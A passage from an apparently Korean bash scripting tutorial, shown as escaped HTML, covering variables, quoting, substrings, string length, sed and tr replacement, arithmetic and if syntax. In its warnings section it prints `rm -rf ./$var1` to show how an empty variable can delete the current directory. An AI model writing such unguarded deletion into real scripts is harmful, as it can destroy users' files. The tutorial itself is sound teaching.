class=&quot;o&quot;&gt;=&lt;/span&gt; 10 &lt;span class=&quot;c&quot;&gt;# error&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;명령어-출력-결과를-변수에-저장하고-싶어요&quot;&gt;명령어 출력 결과를 변수에 저장하고 싶어요&lt;/h3&gt; &lt;p&gt;명령어를 ` `` ` 또는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$()&lt;/code&gt;로 감싸 변수로 저장하면 된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;pwd&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;var2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-al&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;변수를-사용출력하고-싶어요&quot;&gt;변수를 사용/출력하고 싶어요&lt;/h3&gt; &lt;p&gt;변수를 사용할 때에는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$&lt;/code&gt;를 붙여 사용한다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$varname&lt;/code&gt; 또는 중괄호를 붙여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${varname}&lt;/code&gt;으로 사용할 수 있다.&lt;/p&gt; &lt;p&gt;변수를 출력할 때에는 echo와 함께 사용한다. 변수를 그냥 사용할 때와 큰따옴표를 붙여 사용할 때의 출력결과에는 차이가 존재한다.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;그냥 사용 : 변수의 값이 출력된다. &lt;strong&gt;이 때 여러개의 공백과 줄바꿈은 하나의 공백으로 출력된다.&lt;/strong&gt;&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos; &apos;&lt;/code&gt; 작은따옴표로 감싸 사용 : $ 표시를 변수로 인식하지 않고 string 그대로 출력한다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot; &quot;&lt;/code&gt; 큰따옴표로 감싸 사용 : 변수의 값이 출력된다.&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet and delicious&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# apple is sweet and delicious&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# apple is sweet and delicious&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;var1 : &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var1 : apple is sweet&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# and delicious&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;var1:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var1 : apple is sweet&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# and delicious&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;var1 : $var1&apos;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var1 : $var1&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;변수의-일부만-출력하고-싶어요&quot;&gt;변수의 일부만 출력하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${varname:offset:length}&lt;/code&gt; 형식으로 사용한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;:2&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# ple is sweet&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;:1:2&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# pp&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;변수-문자열의-길이를-획득하고-싶어요&quot;&gt;변수 (문자열)의 길이를 획득하고 싶어요&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;wc -L 사용 &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;expr length&lt;/code&gt; 사용 &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;expr &lt;/span&gt;length &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;awk {print length($0)&lt;/code&gt; 사용 &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print length($0)}&apos;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#&lt;/code&gt; 사용 &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h4 id=&quot;응용--문자열의-마지막-문자를-빼고-출력하고-싶어요&quot;&gt;응용 : 문자열의 마지막 문자를 빼고 출력하고 싶어요&lt;/h4&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;::&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;expr&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${#&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; - 1&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# apple is swee&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;변수-문자열의-값을-치환하고-싶어요-문자열-치환---replace&quot;&gt;변수 (문자열)의 값을 치환하고 싶어요 (문자열 치환 - replace)&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tr&lt;/code&gt;을 사용한다. &lt;ul&gt; &lt;li&gt;tr은 문자 단위로 치환한다&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;apple&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;p&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;q&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# aqqle&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed&lt;/code&gt;를 사용한다. &lt;ul&gt; &lt;li&gt;sed는 문자열 단위로 치환한다.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;apple apple is sweet&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/apple/orange/&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# orange apple is sweet&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;apple apple is sweet&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-e&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/apple/orange/g&quot;&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# orange orange is sweet&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;사칙연산을-진행하고-싶어요&quot;&gt;사칙연산을 진행하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;expr&lt;/code&gt;을 사용한다. &lt;br /&gt; &lt;strong&gt;주의 : 실수 연산은 지원하지 않는다. (오직 정수 연산만 가능)&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;expr &lt;/span&gt;1 + 1 &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;변수에-값을-더하고-싶어요&quot;&gt;변수에 값을 더하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(( ))&lt;/code&gt;을 사용한다. &lt;br /&gt; &lt;strong&gt;주의 : 실수 연산은 지원하지 않는다. (오직 정수 연산만 가능)&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;var++&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var = 1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;var+&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# var = 3&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;응용하면 다음과 같이 사용할 수 있다. &lt;br /&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.log&lt;/code&gt;의 마지막줄 - 1 번째 라인을 출력하고 싶을 때&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;expr&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;wc&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; test.log | &lt;span class=&quot;nb&quot;&gt;awk&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;{print $1}&apos;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt; - 1&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;p&quot;&lt;/span&gt; test.log &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;변수-사용-시-주의사항&quot;&gt;변수 사용 시 주의사항!&lt;/h3&gt; &lt;p&gt;변수에 빈 값이 들어가거나 명령어 결과값이 존재하지 않는 경우에도 배쉬 스크립트는 그대로 동작한다. &lt;br /&gt; 따라서 변수의 내용을 검증하지 않고 사용 시 대참사가 발생할 수도 있다.&lt;/p&gt; &lt;p&gt;아래와 같은 코드에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;test.py&lt;/code&gt; 파일이 존재하지 않는다면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm -rf ./&lt;/code&gt; 로 실행되어 현재 디렉토리가 삭제될 위험이 존재한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; ./test.py &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test.py&quot;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-rf&lt;/span&gt; ./&lt;span class=&quot;nv&quot;&gt;$var1&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;if문을-사용하고-싶어요&quot;&gt;IF문을 사용하고 싶어요&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;if 조건절 구문은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ ]&lt;/code&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[[ ]]&lt;/code&gt; 둘 중 하나를 사용할 수 있다.&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[ ]&lt;/code&gt; : POSIX 표준&lt;/li&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[[ ]]&lt;/code&gt; : bash 표준&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;다음과 같은 형식으로 사용할 수 있다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; 조건 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 대괄호는 [ ] 또는 [[ ]] 사용이 가능하다.&lt;/span&gt; 조건이 참일 때 실행할 명령어 &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; 조건 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;조건이 참일 때 실행할 명령어 &lt;span class=&quot;k&quot;&gt;else &lt;/span&gt;조건이 거짓일 때 실행할 명령어 &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;c&quot;&gt;# if () {&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# } 표기법&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; 조건 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# code&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# if ()&lt;/span&gt; 